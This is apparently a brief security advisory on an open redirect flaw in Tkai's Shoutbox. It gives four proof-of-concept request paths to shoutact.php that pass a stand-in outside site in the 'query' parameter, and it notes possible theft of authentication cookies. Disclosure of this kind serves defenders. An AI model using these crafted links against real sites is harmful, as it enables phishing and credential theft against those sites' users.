source: https://www.securityfocus.com/bid/12914/info Tkai's Shoutbox is reported prone to a remote URI redirection vulnerability. It is reported that an attacker can exploit this issue by supplying the URI of a malicious site through the 'query' parameter of a link. A successful attack may result in various attacks including theft of cookie based authentication credentials. /shoutact.php?yousay=default&query=http://www.example.com /shoutact.php?yousay=default&name=default&query=http://www.example.com /shoutact.php?yousay=default&email=default&query=http://www.example.com /shoutact.php?yousay=default&email=default&name=default&query=www.example.com